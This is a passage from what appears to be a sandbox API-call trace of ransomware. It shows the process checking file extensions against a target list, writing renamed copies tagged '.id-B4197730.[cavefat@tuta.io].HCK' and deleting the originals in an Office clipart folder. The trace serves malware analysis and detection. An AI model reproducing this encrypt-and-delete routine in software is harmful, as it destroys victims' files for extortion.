(lpString1=".1cd", lpString2=".WMF") returned -1 [0160.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68 [0160.321] lstrlenW (lpString=".jpg") returned 4 [0160.321] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0160.321] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0160.321] lstrlenW (lpString="HH00260_.WMF") returned 12 [0160.321] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00260_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0160.321] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=3662) returned 1 [0160.321] CloseHandle (hObject=0x3b0) returned 1 [0160.321] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00260_.wmf")) returned 0x220 [0160.321] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00260_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0160.321] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00260_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0160.321] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0160.322] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0160.322] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00260_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0160.322] GetLastError () returned 0x0 [0160.322] ReadFile (in: hFile=0x3b0, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0xe4e, lpOverlapped=0x0) returned 1 [0160.323] WriteFile (in: hFile=0x384, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xe50, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xe50, lpOverlapped=0x0) returned 1 [0160.324] ReadFile (in: hFile=0x3b0, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0160.324] WriteFile (in: hFile=0x384, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0160.324] SetEndOfFile (hFile=0x384) returned 1 [0160.324] CloseHandle (hObject=0x384) returned 1 [0160.325] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0160.325] SetEndOfFile (hFile=0x3b0) returned 1 [0160.326] CloseHandle (hObject=0x3b0) returned 1 [0160.326] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0160.326] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00260_.wmf")) returned 1 [0160.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68 [0160.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68 [0160.327] lstrlenW (lpString=".doc") returned 4 [0160.327] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0160.327] lstrlenW (lpString=".docx") returned 5 [0160.327] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0160.327] lstrlenW (lpString=".pdf") returned 4 [0160.327] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0160.327] lstrlenW (lpString=".xls") returned 4 [0160.327] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0160.327] lstrlenW (lpString=".xlsx") returned 5 [0160.327] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0160.327] lstrlenW (lpString=".ppt") returned 4 [0160.327] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0160.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68 [0160.327] lstrlenW (lpString=".zip") returned 4 [0160.327] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0160.327] lstrlenW (lpString=".rar") returned 4 [0160.327] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0160.327] lstrlenW (lpString=".bz2") returned 4 [0160.327] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0160.327] lstrlenW (lpString=".7z") returned 3 [0160.327] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0160.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68 [0160.327] lstrlenW (lpString=".dbf") returned 4 [0160.327] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0160.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68 [0160.327] lstrlenW (lpString=".1cd") returned 4 [0160.327] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0160.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68 [0160.327] lstrlenW (lpString=".jpg") returned 4 [0160.327] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0160.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68 [0160.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68 [0160.327] lstrlenW (lpString=".doc") returned 4 [0160.327] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0160.327] lstrlenW (lpString=".docx") returned 5 [0160.327] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0160.327] lstrlenW (lpString=".pdf") returned 4 [0160.327] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0160.327] lstrlenW (lpString=".xls") returned 4 [0160.327] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0160.327] lstrlenW (lpString=".xlsx") returned 5 [0160.328] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0160.328] lstrlenW (lpString=".ppt") returned 4 [0160.328] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0160.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68 [0160.328] lstrlenW (lpString=".zip") returned 4 [0160.328] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0160.328] lstrlenW (lpString=".rar") returned 4 [0160.328] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0160.328] lstrlenW (lpString=".bz2") returned 4 [0160.328] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0160.328] lstrlenW (lpString=".7z") returned 3 [0160.328] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0160.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68 [0160.328] lstrlenW (lpString=".dbf") returned 4 [0160.328] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0160.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68 [0160.328] lstrlenW (lpString=".1cd") returned 4 [0160.328] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0160.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68 [0160.328] lstrlenW (lpString=".jpg") returned 4 [0160.328] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0160.328] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0160.328] lstrlenW (lpString="HH00276_.WMF") returned 12 [0160.328] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00276_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0161.492] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=3016) returned 1 [0161.492] CloseHandle (hObject=0x308) returned 1 [0161.492] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00276_.wmf")) returned 0x220 [0161.493] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00276_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0161.493] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00276_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0161.493] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0161.493] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0161.493] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00276_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0161.496] GetLastError () returned 0x0 [0161.496] ReadFile (in: hFile=0x308, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0xbc8, lpOverlapped=0x0) returned 1 [0161.514] WriteFile (in: hFile=0x380, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xbd0, lpOverlapped=0x0) returned 1 [0161.541] ReadFile (in: hFile=0x308, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0161.541] WriteFile (in: hFile=0x380, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0161.541] SetEndOfFile (hFile=0x380) returned 1 [0161.541] CloseHandle (hObject=0x380) returned 1 [0161.542] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0161.542] SetEndOfFile (hFile=0x308) returned 1 [0161.543] CloseHandle (hObject=0x308) returned 1 [0161.543] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0161.543] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00276_.wmf")) returned 1 [0161.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68 [0161.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68 [0161.543] lstrlenW (lpString=".doc") returned 4 [0161.543] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.543] lstrlenW (lpString=".docx") returned 5 [0161.543] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0161.543] lstrlenW (lpString=".pdf") returned 4 [0161.543] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.543] lstrlenW (lpString=".xls") returned 4 [0161.543] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.544] lstrlenW (lpString=".xlsx") returned 5 [0161.544] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0161.544] lstrlenW (lpString=".ppt") returned 4 [0161.544] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68 [0161.544] lstrlenW (lpString=".zip") returned 4 [0161.544] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.544] lstrlenW (lpString=".rar") returned 4 [0161.544] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.544] lstrlenW (lpString=".bz2") returned 4 [0161.544] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.544] lstrlenW (lpString=".7z") returned 3 [0161.544] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68 [0161.544] lstrlenW (lpString=".dbf") returned 4 [0161.544] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68 [0161.544] lstrlenW (lpString=".1cd") returned 4 [0161.544] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68 [0161.544] lstrlenW (lpString=".jpg") returned 4 [0161.544] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68 [0161.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68 [0161.544] lstrlenW (lpString=".doc") returned 4 [0161.544] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.544] lstrlenW (lpString=".docx") returned 5 [0161.544] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0161.544] lstrlenW (lpString=".pdf") returned 4 [0161.544] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.544] lstrlenW (lpString=".xls") returned 4 [0161.544] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.544] lstrlenW (lpString=".xlsx") returned 5 [0161.544] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0161.544] lstrlenW (lpString=".ppt") returned 4 [0161.544] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68 [0161.544] lstrlenW (lpString=".zip") returned 4 [0161.544] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.544] lstrlenW (lpString=".rar") returned 4 [0161.544] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.544] lstrlenW (lpString=".bz2") returned 4 [0161.544] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.544] lstrlenW (lpString=".7z") returned 3 [0161.544] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68 [0161.544] lstrlenW (lpString=".dbf") returned 4 [0161.544] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68 [0161.544] lstrlenW (lpString=".1cd") returned 4 [0161.544] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68 [0161.544] lstrlenW (lpString=".jpg") returned 4 [0161.545] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.545] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0161.545] lstrlenW (lpString="HH00685_.WMF") returned 12 [0161.545] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00685_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0161.545] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=4032) returned 1 [0161.545] CloseHandle (hObject=0x308) returned 1 [0161.545] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00685_.wmf")) returned 0x220 [0161.545] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00685_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0161.545] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00685_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0161.545] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0161.545] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0161.545] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00685_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0161.546] GetLastError () returned 0x0 [0161.546] ReadFile (in: hFile=0x308, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0xfc0, lpOverlapped=0x0) returned 1 [0161.547] WriteFile (in: hFile=0x380, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xfd0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xfd0, lpOverlapped=0x0) returned 1 [0161.548] ReadFile (in: hFile=0x308, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0161.548] WriteFile (in: hFile=0x380, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0161.548] SetEndOfFile (hFile=0x380) returned 1 [0161.548] CloseHandle (hObject=0x380) returned 1 [0161.549] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0161.549] SetEndOfFile (hFile=0x308) returned 1 [0161.549] CloseHandle (hObject=0x308) returned 1 [0161.549] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0161.550] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00685_.wmf")) returned 1 [0161.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68 [0161.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68 [0161.550] lstrlenW (lpString=".doc") returned 4 [0161.550] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.550] lstrlenW (lpString=".docx") returned 5 [0161.550] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0161.550] lstrlenW (lpString=".pdf") returned 4 [0161.550] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.550] lstrlenW (lpString=".xls") returned 4 [0161.550] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.550] lstrlenW (lpString=".xlsx") returned 5 [0161.550] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0161.551] lstrlenW (lpString=".ppt") returned 4 [0161.551] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68 [0161.551] lstrlenW (lpString=".zip") returned 4 [0161.551] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.551] lstrlenW (lpString=".rar") returned 4 [0161.551] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.551] lstrlenW (lpString=".bz2") returned 4 [0161.551] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.551] lstrlenW (lpString=".7z") returned 3 [0161.551] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68 [0161.551] lstrlenW (lpString=".dbf") returned 4 [0161.551] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68 [0161.551] lstrlenW (lpString=".1cd") returned 4 [0161.551] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68 [0161.551] lstrlenW (lpString=".jpg") returned 4 [0161.551] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68 [0161.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68 [0161.551] lstrlenW (lpString=".doc") returned 4 [0161.551] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.551] lstrlenW (lpString=".docx") returned 5 [0161.551] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0161.551] lstrlenW (lpString=".pdf") returned 4 [0161.551] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.551] lstrlenW (lpString=".xls") returned 4 [0161.551] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.551] lstrlenW (lpString=".xlsx") returned 5 [0161.551] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0161.551] lstrlenW (lpString=".ppt") returned 4 [0161.551] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68 [0161.551] lstrlenW (lpString=".zip") returned 4 [0161.551] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.551] lstrlenW (lpString=".rar") returned 4 [0161.551] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.551] lstrlenW (lpString=".bz2") returned 4 [0161.551] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.551] lstrlenW (lpString=".7z") returned 3 [0161.551] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68 [0161.551] lstrlenW (lpString=".dbf") returned 4 [0161.551] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68 [0161.551] lstrlenW (lpString=".1cd") returned 4 [0161.551] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68 [0161.552] lstrlenW (lpString=".jpg") returned 4 [0161.552] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.552] lstrcmpiW (lpString1=".WMF", 